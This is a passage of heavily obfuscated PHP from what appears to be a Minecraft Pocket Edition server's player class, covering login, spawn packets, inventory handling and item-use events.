\x73n\x62\x68\x6dg\x79\x70s\x71"]}["\x50\x6fs"][2]=$this->level->getSpawnLocation()->z;}else{${"\x47\x4cOB\x41\x4c\x53"}["o\x76\x73\x73\x70\x62c"]="\x6ce\x76e\x6c";$this->setLevel(${${"\x47\x4c\x4f\x42AL\x53"}["\x6fv\x73\x73p\x62c"]});}if(!(${${"\x47\x4cO\x42\x41LS"}["s\x6e\x62\x68m\x67\x79\x70sq"]} instanceof CompoundTag)){$this->close($this->getLeaveMessage(),"\x49nval\x69d\x20d\x61\x74a");return;}$nbt->lastPlayed=new LongTag("la\x73tPl\x61\x79\x65d",floor(microtime(true)*1000));if($this->server->getAutoSave()){$iskcguj="n\x62\x74";$this->server->saveOfflinePlayerData($this->username,${$iskcguj},true);}parent::__construct($this->level->getChunk(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x6e\x62h\x6dgy\x70\x73q"]}["Po\x73"][0]>>4,${${"GLO\x42A\x4cS"}["\x73nbhm\x67y\x70\x73q"]}["\x50o\x73"][2]>>4,true),${${"G\x4c\x4f\x42\x41L\x53"}["sn\x62\x68m\x67y\x70s\x71"]});$this->loggedIn=true;$this->server->addOnlinePlayer($this);$this->server->getPluginManager()->callEvent(${${"\x47\x4c\x4f\x42ALS"}["\x71\x63fzv\x6c"]}=new PlayerLoginEvent($this,"P\x6cug\x69\x6e r\x65\x61so\x6e"));if($ev->isCancelled()){$this->close($this->getLeaveMessage(),$ev->getKickMessage());return;}if(!$this->isConnected()){return;}${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6f\x69m\x6d\x6d\x70l\x67\x78\x63y\x66"]}=new PlayStatusPacket();$pk->status=PlayStatusPacket::LOGIN_SUCCESS;$ecmueob="\x6c\x65\x76\x65l";$this->dataPacket(${${"G\x4cO\x42\x41\x4c\x53"}["\x6f\x7az\x79\x77\x73r\x73\x73\x71"]});if($this->spawnPosition===null and isset($this->namedtag->SpawnLevel)and(${$ecmueob}=$this->server->getLevelByName($this->namedtag["S\x70\x61\x77n\x4cev\x65l"]))instanceof Level){${"\x47L\x4fB\x41\x4c\x53"}["v\x67h\x6a\x66\x6e\x71i"]="\x6c\x65\x76\x65\x6c";$this->spawnPosition=new Position($this->namedtag["S\x70\x61\x77nX"],$this->namedtag["\x53\x70awn\x59"],$this->namedtag["\x53p\x61wnZ"],${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76ghj\x66\x6eq\x69"]});}${${"\x47LOBA\x4c\x53"}["\x6fg\x72\x62\x6bs\x78\x71\x6d\x67"]}=$this->getSpawn();$tiqrwzd="\x70k";${${"\x47L\x4fBA\x4cS"}["wg\x78\x65\x74\x6bm\x6b"]}=new StartGamePacket();$pk->seed=-1;$pk->dimension=$this->level->getDimension();$pk->x=$this->x;$pk->y=$this->y;$pk->z=$this->z;$pk->spawnX=(int)$spawnPosition->x;$pk->spawnY=(int)$spawnPosition->y;$pk->spawnZ=(int)$spawnPosition->z;$pk->generator=1;$pk->gamemode=$this->gamemode&0x01;$pk->eid=0;$this->dataPacket(${${"GLO\x42ALS"}["\x6fz\x7a\x79ws\x72\x73\x73q"]});${$kmbqnxvh}=new SetTimePacket();$pk->time=$this->level->getTime();$pk->started=$this->level->stopTime==false;$swsbjwk="\x70\x6b";$this->dataPacket(${${"\x47L\x4fB\x41\x4c\x53"}["sey\x75c\x6d\x6b\x78\x72b"]});${${"\x47\x4c\x4f\x42A\x4cS"}["ozz\x79w\x73r\x73\x73\x71"]}=new SetSpawnPositionPacket();$pk->x=(int)$spawnPosition->x;$pk->y=(int)$spawnPosition->y;$pk->z=(int)$spawnPosition->z;$this->dataPacket(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6f\x7a\x7ay\x77\x73\x72ssq"]});${${"\x47\x4cO\x42\x41\x4cS"}["\x6f\x7a\x7ay\x77\x73\x72\x73s\x71"]}=new SetHealthPacket();$pk->health=$this->getHealth();$this->dataPacket(${${"G\x4cOB\x41\x4cS"}["o\x7a\x7ay\x77\x73r\x73\x73\x71"]});${$tiqrwzd}=new SetDifficultyPacket();$pk->difficulty=$this->server->getDifficulty();$this->dataPacket(${$swsbjwk});$this->server->getLogger()->info($this->getServer()->getLanguage()->translateString("p\x6f\x63\x6b\x65t\x6di\x6ee.pl\x61\x79e\x72.l\x6fgIn",[TextFormat::AQUA.$this->username.TextFormat::WHITE,$this->ip,$this->port,TextFormat::GREEN.$this->randomClientId.TextFormat::WHITE,$this->id,$this->level->getName(),round($this->x,4),round($this->y,4),round($this->z,4)]));if($this->gamemode===Player::SPECTATOR){${"\x47\x4c\x4f\x42A\x4cS"}["w\x7a\x65hgt\x79"]="p\x6b";$vpnixwsjtl="pk";${${"GL\x4f\x42\x41\x4c\x53"}["\x77z\x65hg\x74\x79"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$this->dataPacket(${$vpnixwsjtl});}else{if(AnyVersionManager::isProtocol($this,"\x30\x2e\x315")){$hymkvcofyfae="\x70k";${$hymkvcofyfae}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$pk->slots=array_merge(Item::getCreativeItems(),$this->personalCreativeItems);$this->dataPacket(${${"G\x4cO\x42\x41L\x53"}["o\x7a\x7a\x79\x77\x73\x72ss\x71"]});}else if(AnyVersionManager::isProtocol($this,"0\x2e\x31\x34")){${${"\x47L\x4f\x42\x41LS"}["o\x7az\x79wsrs\x73q"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$pk->slots=array_merge(Item::getp70CreativeItems(),$this->personalCreativeItems);$oraorwkoflx="\x70\x6b";$this->dataPacket(${$oraorwkoflx});}}${$cklvuzapmeo}=new SetEntityDataPacket();$pk->eid=0;$pk->metadata=[self::DATA_LEAD_HOLDER=>[self::DATA_TYPE_LONG,-1]];$this->dataPacket(${${"\x47\x4c\x4f\x42\x41L\x53"}["o\x7a\x7a\x79\x77\x73\x72\x73s\x71"]});$this->level->getWeather()->sendWeather($this);$this->forceMovement=$this->teleportPosition=$this->getPosition();}public function getProtocol(){return$this->protocol;}public function getGameVersion(){return AnyVersionManager::getGameVersion($this->getProtocol());}public function handleDataPacket($packet){${"\x47L\x4f\x42\x41\x4c\x53"}["u\x70\x70\x6e\x67k\x63l\x67k"]="\x6c\x65\x6e";${"\x47\x4cO\x42\x41L\x53"}["i\x6a\x77\x6exne"]="\x74";${"G\x4c\x4f\x42\x41\x4cS"}["\x62\x6bn\x66\x74\x69\x70\x66\x77\x6eib"]="po\x73";${"\x47LOB\x41\x4cS"}["be\x6a\x73rlq\x68\x6d"]="r\x65c\x69pe";$tjzipochb="c\x61n\x63\x65\x6cl\x65\x64";$imafxpeiei="\x69";${"G\x4c\x4f\x42\x41\x4c\x53"}["h\x78\x66\x7a\x79\x65\x75\x7a"]="\x65\x76";${"GL\x4fBA\x4c\x53"}["\x77\x70l\x6e\x69j\x74\x67\x7a\x70"]="\x63\x61\x6e\x43\x72a\x66\x74";$wtlhdcawpf="\x74\x61\x72ge\x74";$uqxllpn="\x70\x6b";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68\x71ev\x63\x77\x73oe"]="\x69\x74e\x6d";${"\x47LO\x42\x41\x4c\x53"}["\x75\x7a\x6d\x65\x74\x77\x73"]="ev";$vnqhrtyqydjw="\x74ile";${"\x47L\x4f\x42\x41\x4cS"}["l\x74n\x79z\x62"]="\x69\x74\x65\x6d";$ummfcmtv="e\x76";$djotchztuut="t\x61\x72\x67\x65t";$ucouux="\x72ev\x65\x72\x74";$dqiuowfjyc="\x70\x6f\x73";$cccbkdgeo="\x76\x61l\x69d";${"\x47LOBA\x4cS"}["\x76\x64\x75a\x61\x6a\x6b\x78\x78"]="\x74a\x72\x67et";$nvtordd="\x74\x69\x6c\x65";${"\x47\x4c\x4fB\x41\x4cS"}["\x6ff\x6fh\x77\x62\x72p\x76\x64\x67"]="\x70\x6b";$cnldvlmn="\x70\x6b";$blwrux="\x74\x61r\x67\x65\x74";$gfrbtwj="\x70k";$jcsfmncn="\x72\x65\x63i\x70e";${"\x47\x4cO\x42\x41\x4c\x53"}["\x75\x64\x6cqa\x72ty\x74\x63"]="p\x61ck\x65\x74";$eeugcx="o\x6cdIte\x6d";if($this->connected===false){return;}$oxgwsxi="\x74\x69le";if(${${"\x47\x4cOB\x41\x4c\x53"}["q\x65b\x72\x72\x69o\x68j"]}::NETWORK_ID===ProtocolInfo::BATCH_PACKET or${${"\x47\x4c\x4f\x42ALS"}["\x75\x64\x6c\x71\x61\x72\x74\x79\x74\x63"]}::NETWORK_ID===0x92){$lgxyfpzbwj="\x70\x61\x63\x6b\x65\x74";$this->server->getNetwork()->processBatch(${$lgxyfpzbwj},$this);return;}$this->server->getPluginManager()->callEvent(${$ummfcmtv}=new DataPacketReceiveEvent($this,${${"\x47L\x4fBAL\x53"}["\x71e\x62r\x72\x69\x6f\x68\x6a"]}));$nyqacpmj="\x65\x76";$rstgntlxfvv="\x76\x61\x6cid";$dxbfmxeko="n\x65w\x50\x6f\x73";${"\x47\x4cO\x42A\x4c\x53"}["\x75y\x6dl\x66o\x79\x6c\x7a"]="s\x6co\x74";$owcvkqe="\x76\x65\x63\x74\x6f\x72";${"\x47\x4cOB\x41\x4c\x53"}["x\x6c\x70q\x73ky\x65b"]="\x70\x6fs";$tskrbeobe="\x65\x76";$jlitpscowkq="i\x74em";${"\x47\x4cO\x42\x41L\x53"}["\x67\x70\x61\x6e\x66\x67\x65\x67\x66s\x76s"]="i";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x75m\x6fg\x64q\x6e"]="\x76ec\x74\x6fr";if($ev->isCancelled()){return;}switch(${${"\x47\x4c\x4f\x42A\x4cS"}["\x71e\x62rr\x69oh\x6a"]}::NETWORK_ID){case ProtocolInfo::ITEM_FRAME_DROP_ITEM_PACKET:case\pocketmine\network\protocol\p70\Info::ITEM_FRAME_DROP_ITEM_PACKET:${$nvtordd}=$this->level->getTile($this->temporalVector->setComponents($packet->x,$packet->y,$packet->z));if(${${"G\x4c\x4fBA\x4cS"}["o\x72\x6f\x6et\x74e\x6ay"]} instanceof ItemFrame){${"\x47L\x4fB\x41\x4c\x53"}["\x6eb\x6e\x6b\x6a\x66\x78\x6b\x68\x75\x69\x71"]="\x74\x69\x6ce";${"\x47\x4cO\x42ALS"}["\x69s\x6e\x66\x77\x6d"]="\x62\x6c\x6f\x63\x6b";${${"\x47L\x4fBAL\x53"}["\x69\x73n\x66w\x6d"]}=$this->level->getBlock(${${"\x47L\x4f\x42\x41\x4cS"}["n\x62nk\x6a\x66\x78\x6b\x68\x75\x69\x71"]});$this->server->getPluginManager()->callEvent(${${"\x47LOB\x41\x4c\x53"}["\x71\x63fzv\x6c"]}=new BlockBreakEvent($this,${${"\x47\x4c\x4fB\x41L\x53"}["raio\x6fv\x65\x6dq"]},$this->getInventory()->getItemInHand(),true));if(!$ev->isCancelled()){${${"\x47\x4cOB\x41\x4c\x53"}["\x66\x6f\x68\x65\x78\x75\x6e\x6e\x62e"]}=$tile->getItem();$this->server->getPluginManager()->callEvent(${${"\x47L\x4fB\x41\x4c\x53"}["\x71\x63\x66\x7a\x76\x6c"]}=new ItemFrameDropItemEvent($this,${${"G\x4cO\x42\x41\x4c\x53"}["r\x61i\x6fo\x76\x65\x6d\x71"]},${${"G\x4c\x4f\x42A\x4c\x53"}["\x6f\x72\x6f\x6e\x74\x74e\x6a\x79"]},${${"\x47L\x4fB\x41L\x53"}["\x66oh\x65x\x75n\x6e\x62\x65"]}));if(!$ev->isCancelled()){if($item->getId()!==Item::AIR){if((mt_rand(0,10)/10)<$tile->getItemDropChance()){$kiexwyiom="i\x74e\x6d";$this->level->dropItem(${${"\x47L\x4f\x42\x41\x4cS"}["\x6f\x72\x6fn\x74\x74e\x6ay"]},${$kiexwyiom});}$tile->setItem(Item::get(Item::AIR));$tile->setItemRotation(0);}}else$tile->spawnTo($this);}else$tile->spawnTo($this);}break;case ProtocolInfo::REQUEST_CHUNK_RADIUS_PACKET:case\pocketmine\network\protocol\p70\Info::REQUEST_CHUNK_RADIUS_PACKET:${$gfrbtwj}=new ChunkRadiusUpdatedPacket();$pk->radius=($this->server->chunkRadius!=-1)?$this->server->chunkRadius:$packet->radius;$this->dataPacket(${${"GLO\x42\x41\x4c\x53"}["\x6f\x66\x6fhw\x62\x72\x70vd\x67"]});break;case ProtocolInfo::PLAYER_INPUT_PACKET:case\pocketmine\network\protocol\p70\Info::PLAYER_INPUT_PACKET:break;case ProtocolInfo::LOGIN_PACKET:case\pocketmine\network\protocol\p70\Info::LOGIN_PACKET:if($this->loggedIn){break;}${$uqxllpn}=new PlayStatusPacket();$pk->status=PlayStatusPacket::LOGIN_SUCCESS;$this->dataPacket(${$cnldvlmn});$this->username=TextFormat::clean($packet->username);$this->displayName=$this->username;$this->setNameTag($this->username);$this->iusername=strtolower($this->username);$this->protocol=$packet->protocol;if($this->server->getConfigBoolean("onl\x69ne-m\x6f\x64\x65",false)&&$packet->identityPublicKey===null){$this->kick("\x64\x69\x73connecti\x6fn\x53c\x72een\x2en\x6ft\x41u\x74\x68\x65n\x74i\x63ate\x64",false);break;}if(count($this->server->getOnlinePlayers())>=$this->server->getMaxPlayers()and$this->kick("d\x69sc\x6f\x6en\x65\x63\x74\x69on\x53\x63r\x65en.\x73\x65\x72v\x65rFu\x6c\x6c",false)){break;}if(!in_array($packet->protocol,AnyVersionManager::getAcceptedProtocols())){${${"G\x4c\x4f\x42A\x4c\x53"}["ozz\x79\x77\x73\x72\x73s\x71"]}=new PlayStatusPacket();$pk->status=PlayStatusPacket::LOGIN_FAILED_SERVER;$this->directDataPacket(${${"\x47\x4cOB\x41L\x53"}["\x6f\x7az\x79\x77s\x72s\x73q"]});$this->close("","T\x68is ser\x76\x65\x72\x20d\x6f\x65s n\x6f\x74\x20\x73u\x70p\x6fr\x74 your \x63\x6cie\x6e\x74",\false);break;}$this->randomClientId=$packet->clientId;if(AnyVersionManager::isProtocol($this,"\x30.1\x35")){$this->uuid=UUID::fromString($packet->clientUUID);}else if(AnyVersionManager::isProtocol($this,"0\x2e14")){$this->loginData=["cli\x65\x6etId"=>$packet->clientId,"\x6co\x67inD\x61\x74\x61"=>null];$this->uuid=$packet->clientUUID;$this->clientSecret=$packet->clientSecret;}$this->rawUUID=$this->uuid->toBinary();${$rstgntlxfvv}=true;${${"\x47\x4cO\x42\x41L\x53"}["\x73vp\x76qyh\x66"]}=strlen($packet->username);if(${${"G\x4cOB\x41\x4c\x53"}["u\x70pn\x67\x6b\x63\x6cg\x6b"]}>16 or${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73vp\x76\x71\x79\x68\x66"]}<3){${${"G\x4cO\x42\x41\x4cS"}["\x66\x70v\x6fd\x76\x78\x67"]}=false;}for(${${"\x47L\x4fB\x41\x4c\x53"}["\x6f\x69\x6cg\x69\x69u"]}=0;${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67\x70\x61nf\x67\x65\x67\x66\x73v\x73"]}<${${"GL\x4f\x42\x41\x4cS"}["\x73v\x70\x76\x71\x79\x68f"]} and${$cccbkdgeo};++${${"\x47L\x4f\x42AL\x53"}["\x6f\x69\x6c\x67\x69i\x75"]}){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71\x6el\x78\x74\x73q\x6f\x76\x73g\x72"]="\x69";${"G\x4cO\x42AL\x53"}["\x6ao\x6ah\x79\x67\x75\x68\x6c"]="c";$nikmtl="\x63";${"\x47L\x4f\x42\x41LS"}["\x75\x70\x79\x70p\x71\x69hm"]="\x63";$khbyoq="\x76\x61l\x69\x64";${${"\x47\x4cOB\x41L\x53"}["\x6aoj\x68y\x67u\x68\x6c"]}=ord($packet->username{${${"\x47L\x4f\x42\x41\x4c\x53"}["\x71nl\x78\x74\x73\x71o\x76\x73\x67\x72"]}});if((${${"\x47\x4c\x4fBAL\x53"}["\x6b\x65\x7azb\x65\x77"]}>=ord("\x61")and${$nikmtl}<=ord("\x7a"))or(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6b\x65z\x7a\x62\x65w"]}>=ord("A")and${${"\x47LO\x42\x41\x4c\x53"}["\x6b\x65\x7a\x7a\x62e\x77"]}<=ord("\x5a"))or(${${"G\x4c\x4fBA\x4cS"}["\x6b\x65\x7azbe\x77"]}>=ord("\x30")and${${"GL\x4f\x42\x41LS"}["u\x70\x79\x70\x70\x71\x69h\x6d"]}<=ord("9"))or${${"GLO\x42\x41L\x53"}["\x6b\x65\x7az\x62\x65\x77"]}===ord("_")){continue;}${$khbyoq}=false;break;}if(!${${"\x47LOB\x41\x4cS"}["\x66\x70\x76o\x64vx\x67"]} or$this->iusername==="rcon"or$this->iusername==="con\x73\x6fle"){$this->close("","d\x69\x73c\x6fnnecti\x6fn\x53\x63\x72e\x65n.i\x6ev\x61\x6ci\x64Na\x6de");break;}if((strlen($packet->skin)!=64*64*4)and(strlen($packet->skin)!=64*32*4)){$this->close("","\x64is\x63o\x6en\x65\x63tionS\x63\x72\x65\x65n.\x69n\x76\x61\x6ci\x64\x53\x6bin");break;}if($packet->protocol==84){$this->setSkin($packet->skin,$packet->skinId);}else{$this->setSkin($packet->skin,$packet->skinName);}$this->server->getPluginManager()->callEvent(${${"G\x4c\x4f\x42ALS"}["\x71\x63\x66\x7a\x76\x6c"]}=new PlayerPreLoginEvent($this,"\x50\x6cugin r\x65\x61s\x6f\x6e"));if($ev->isCancelled()){$this->close("",$ev->getKickMessage());break;}if($this->isConnected()){$this->onPlayerPreLogin();}break;case ProtocolInfo::MOVE_PLAYER_PACKET:case\pocketmine\network\protocol\p70\Info::MOVE_PLAYER_PACKET;if($this->linkedEntity instanceof Entity){${"\x47L\x4f\x42A\x4cS"}["\x78qg\x71\x66w\x71f"]="\x65nt\x69\x74\x79";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x78\x71\x67\x71\x66\x77\x71\x66"]}=$this->linkedEntity;if(${${"\x47\x4c\x4fBAL\x53"}["\x79\x69\x65\x77\x6a\x62\x72\x74\x6f\x72\x76\x75"]} instanceof Boat){$entity->setPosition($this->temporalVector->setComponents($packet->x,$packet->y-0.3,$packet->z));}}${$dxbfmxeko}=new Vector3($packet->x,$packet->y-$this->getEyeHeight(),$packet->z);${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72t\x6b\x76n\x79\x79\x68\x6b"]}=false;if(!$this->isAlive()or$this->spawned!==true){$cpktzvky="\x72ev\x65\x72t";${$cpktzvky}=true;$this->forceMovement=new Vector3($this->x,$this->y,$this->z);}if($this->teleportPosition!==null or($this->forceMovement instanceof Vector3 and((${${"\x47LOB\x41L\x53"}["\x6f\x68\x79\x68zn\x6e\x69"]}=$newPos->distanceSquared($this->forceMovement))>0.1 or${$ucouux}))){if($this->forceMovement instanceof Vector3)$this->sendPosition($this->forceMovement,$packet->yaw,$packet->pitch);}else{${"G\x4c\x4fBA\x4c\x53"}["\x7ae\x73\x74kv\x62\x69"]="\x6e\x65wPo\x73";$packet->yaw%=360;$packet->pitch%=360;if($packet->yaw<0){$packet->yaw+=360;}$this->setRotation($packet->yaw,$packet->pitch);$this->newPosition=${${"\x47L\x4fB\x41\x4cS"}["\x7a\x65\x73\x74\x6b\x76b\x69"]};}$this->forceMovement=null;break;case ProtocolInfo::MOB_EQUIPMENT_PACKET:case\pocketmine\network\protocol\p70\Info::MOB_EQUIPMENT_PACKET:if($this->spawned===false or!$this->isAlive()){break;}if(AnyVersionManager::isProtocol($this,"0\x2e15")){$this->inventory->setHeldItemIndex($packet->selectedSlot,false,$packet->slot);$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);}else if(AnyVersionManager::isProtocol($this,"\x30\x2e\x314")){if($packet->slot===0x28 or$packet->slot===0 or$packet->slot===255){$packet->slot=-1;}else{$packet->slot-=9;}${${"\x47L\x4fB\x41\x4c\x53"}["\x66\x6f\x68\x65\x78u\x6e\x6e\x62\x65"]}=\null;if($this->isCreative()){$avmyyucumnf="i\x74\x65\x6d";${"GL\x4fB\x41\x4cS"}["\x76is\x70\x7ao\x78\x6d"]="\x73l\x6f\x74";${$avmyyucumnf}=$packet->item;${${"G\x4cO\x42\x41\x4cS"}["v\x69spzox\x6d"]}=Item::getCreativeItemIndex(${${"G\x4cO\x42\x41\x4c\x53"}["f\x6f\x68\x65x\x75\x6e\x6eb\x65"]});}else{${${"\x47\x4c\x4f\x42\x41L\x53"}["\x66\x6f\x68\x65x\x75\x6en\x62e"]}=$this->inventory->getItem($packet->slot);${${"\x47\x4c\x4fB\x41\x4cS"}["\x64\x66g\x78m\x77e\x79o\x68a\x6d"]}=$packet->slot;}if($packet->slot===-1){if($this->isCreative()){$hlyavfhdnai="fo\x75\x6ed";${$hlyavfhdnai}=\false;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63\x66nqe\x65j\x6d"]="i";for(${${"GL\x4f\x42\x41LS"}["o\x69\x6c\x67i\x69u"]}=0;${${"\x47\x4cO\x42\x41\x4c\x53"}["\x63\x66\x6eq\x65\x65\x6a\x6d"]}<$this->inventory->getHotbarSize();++${${"GL\x4f\x42A\x4cS"}["\x6f\x69l\x67\x69\x69u"]}){${"G\x4cO\x42\x41\x4cS"}["\x63vr\x73\x77\x71\x76\x74q"]="\x69";if($this->inventory->getHotbarSlotIndex(${${"G\x4cO\x42\x41L\x53"}["\x63\x76rs\x77\x71vtq"]})===-1){$jdwongefog="\x69";$this->inventory->setHeldItemIndex(${$jdwongefog});${${"\x47LO\x42A\x4c\x53"}["\x6b\x64\x77\x64ep\x74\x67"]}=\true;break;}}if(!${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6b\x64\x77\x64\x65\x70tg"]}){$this->inventory->sendContents($this);break;}}else{if($packet->selectedSlot>=0 and$packet->selectedSlot<9){$this->inventory->setHeldItemIndex($packet->selectedSlot);$this->inventory->setHeldItemSlot($packet->slot);}else{$this->inventory->sendContents($this);break;}}}elseif(${${"G\x4c\x4f\x42\x41L\x53"}["fo\x68\x65\x78unnbe"]}===\null or${${"G\x4cO\x42ALS"}["\x64\x66g\x78\x6d\x77e\x79\x6f\x68\x61m"]}===-1 or!$item->deepEquals($packet->item)){$this->inventory->sendContents($this);break;}elseif($this->isCreative()){$this->inventory->setHeldItemIndex($packet->selectedSlot);$this->inventory->setItem($packet->selectedSlot,${${"G\x4c\x4f\x42AL\x53"}["\x66\x6f\x68e\x78\x75\x6e\x6eb\x65"]});$this->inventory->setHeldItemSlot($packet->selectedSlot);}else{if($packet->selectedSlot>=0 and$packet->selectedSlot<$this->inventory->getHotbarSize()){${"G\x4c\x4fBA\x4cS"}["\x63t\x69\x69\x73\x71em"]="\x73l\x6f\x74";$this->inventory->setHeldItemIndex($packet->selectedSlot);$this->inventory->setHeldItemSlot(${${"\x47\x4c\x4f\x42\x41LS"}["\x63ti\x69s\x71\x65\x6d"]});}else{$this->inventory->sendContents($this);break;}}$this->inventory->sendHeldItem($this->hasSpawned);$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,\false);}break;case ProtocolInfo::USE_ITEM_PACKET:case\pocketmine\network\protocol\p70\Info::USE_ITEM_PACKET:if($this->spawned===false or!$this->isAlive()or$this->blocked){break;}${${"G\x4cOB\x41\x4cS"}["p\x65z\x6d\x6a\x62\x7a\x62"]}=new Vector3($packet->x,$packet->y,$packet->z);$this->craftingType=self::CRAFTING_SMALL;if($packet->face>=0 and$packet->face<=5){$oyypqmykxwh="\x62\x6c\x6f\x63kV\x65c\x74\x6f\x72";$qoexxydr="\x74a\x72\x67\x65\x74";${"\x47L\x4f\x42\x41L\x53"}["m\x77\x66\x6bb\x71\x74\x65j"]="\x62\x6c\x6fck";$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);if(!$this->canInteract($blockVector->add(0.5,0.5,0.5),13)or$this->isSpectator()){}elseif($this->isCreative()){$gsewhbw="\x62l\x6f\x63\x6b\x56ec\x74or";$zflxqecolts="\x69\x74em";${${"\x47\x4c\x4f\x42\x41L\x53"}["f\x6fhe\x78\x75\x6e\x6e\x62e"]}=$this->inventory->getItemInHand();if($this->level->useItemOn(${$gsewhbw},${$zflxqecolts},$packet->face,$packet->fx,$packet->fy,$packet->fz,$this)===true){break;}}elseif(!$this->inventory->getItemInHand()->deepEquals($packet->item)and$this->getProtocol()==84){$this->inventory->sendHeldItem($this);}elseif(!$this->inventory->getItemInHand()->deepEquals($this->inventory->getItemInHand())and AnyVersionManager::isProtocol($this,"\x30\x2e\x314")){$this->inventory->sendHeldItem($this);}else{${${"\x47\x4c\x4f\x42A\x4c\x53"}["fo\x68\x65\x78\x75\x6e\x6e\x62\x65"]}=$this->inventory->getItemInHand();${"\x47\x4c\x4f\x42\x41L\x53"}["\x78\x65\x6cs\x74\x6c\x71"]="\x62\x6coc\x6b\x56\x65\x63to\x72";$frxgbojs="\x6f\x6c\x64It\x65\x6d";${$frxgbojs}=clone${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66\x6f\x68ex\x75\x6e\x6e\x62e"]};if($this->level->useItemOn(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x78\x65\x6cs\x74\x6c\x71"]},${${"G\x4c\x4fBA\x4c\x53"}["\x66\x6fh\x65\x78\x75\x6e\x6eb\x65"]},$packet->face,$packet->fx,$packet->fy,$packet->fz,$this)){$dcuonzejpwd="o\x6c\x64\x49\x74\x65m";if(!$item->deepEquals(${$dcuonzejpwd})or$item->getCount()!==$oldItem->getCount()){$qhqragjx="i\x74\x65\x6d";$this->inventory->setItemInHand(${$qhqragjx});$this->inventory->sendHeldItem($this->hasSpawned);}break;}}$this->inventory->sendHeldItem($this);if($blockVector->distanceSquared($this)>10000){break;}${${"\x47\x4c\x4f\x42AL\x53"}["\x68xx\x69\x7a\x7a"]}=$this->level->getBlock(${$oyypqmykxwh});${${"G\x4c\x4fB\x41L\x53"}["\x6dw\x66kbqt\x65j"]}=$target->getSide($packet->face);$this->level->sendBlocks([$this],[${$qoexxydr},${${"\x47\x4c\x4f\x42A\x4cS"}["r\x61i\x6f\x6f\x76\x65\x6d\x71"]}],UpdateBlockPacket::FLAG_ALL_PRIORITY);break;}elseif($packet->face===0xff){if($this->isSpectator()){break;}${${"\x47LO\x42AL\x53"}["lolk\x71c\x75kq\x79"]}=(new Vector3($packet->x/32768,$packet->y/32768,$packet->z/32768))->normalize();${"\x47\x4cO\x42\x41\x4c\x53"}["\x6b\x68z\x74\x79\x72\x73xvo"]="e\x76";if($this->isCreative()){${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["f\x6fh\x65x\x75\x6e\x6e\x62\x65"]}=$this->inventory->getItemInHand();}else{$mhrgpznwjqd="i\x74\x65\x6d";${$mhrgpznwjqd}=$this->inventory->getItemInHand();}${${"G\x4c\x4f\x42AL\x53"}["qc\x66zv\x6c"]}=new PlayerInteractEvent($this,${${"G\x4c\x4f\x42AL\x53"}["\x66o\x68\x65xun\x6e\x62e"]},${${"\x47\x4c\x4f\x42A\x4c\x53"}["l\x6f\x6c\x6b\x71\x63\x75\x6b\x71\x79"]},$packet->face,PlayerInteractEvent::RIGHT_CLICK_AIR);$this->server->getPluginManager()->callEvent(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x68z\x74\x79r\x73x\x76o"]});if($ev->isCancelled()){$this->inventory->sendHeldItem($this);break;}if($item->getId()===Item::FISHING_ROD){if($this->isFishing()){$this->server->getPluginManager()->callEvent(${${"\x47\x4cO\x42A\x4c\x53"}["\x71\x63\x66\x7a\x76l"]}=new PlayerUseFishingRodEvent($this,PlayerUseFishingRodEvent::ACTION_STOP_FISHING));}else{$igxkmyihz="\x65v";$this->server->getPluginManager()->callEvent(${$igxkmyihz}=new PlayerUseFishingRodEvent($this,PlayerUseFishingRodEvent::ACTION_START_FISHING));}if(!$ev->isCancelled()){if($this->isFishing()){$this->setFishingHook();}else{${${"GL\x4fB\x41LS"}["\x73n\x62hm\x67y\x70\x73\x71"]}=new CompoundTag("",["Po\x73"=>new ListTag("P\x6f\x73",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"\x4do\x74\x69o\x6e"=>new ListTag("\x4dotion",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"\x52\x6ftat\x69on"=>new ListTag("\x52o\x74a\x74\x69\x6f\x6e",[new FloatTag("",$this->yaw),new FloatTag("",$this->pitch)])]);${${"G\x4c\x4f\x42\x41L\x53"}["\x6f\x74\x62\x67ujn\x6bc"]}=0.5;$gstvwofdi="\x66";$this->fishingHook=new FishingHook($this->chunk,${${"\x47\x4c\x4f\x42A\x4c\x53"}["s\x6eb\x68\x6d\x67yp\x73q"]},$this,$this->getId());$this->fishingHook->setMotion($this->fishingHook->getMotion()->multiply(${$gstvwofdi}));$this->fishingHook->spawnToAll();}}}elseif($item->getId()===Item::SNOWBALL){${"\x47L\x4f\x42\x41\x4cS"}["\x69w\x6d\x6d\x72\x66"]="n\x62\x74";${"G\x4c\x4f\x42\x41\x4c\x53"}["l\x78\x69\x73pe\x74j\x72uk"]="n\x62\x74";${"\x47L\x4fB\x41\x4c\x53"}["\x75\x73kk\x79\x71\x70k\x67"]="\x73\x6eo\x77ba\x6cl";$htqhoshnmx="f";${${"\x47LO\x42A\x4c\x53"}["\x69\x77\x6dmr\x66"]}=new 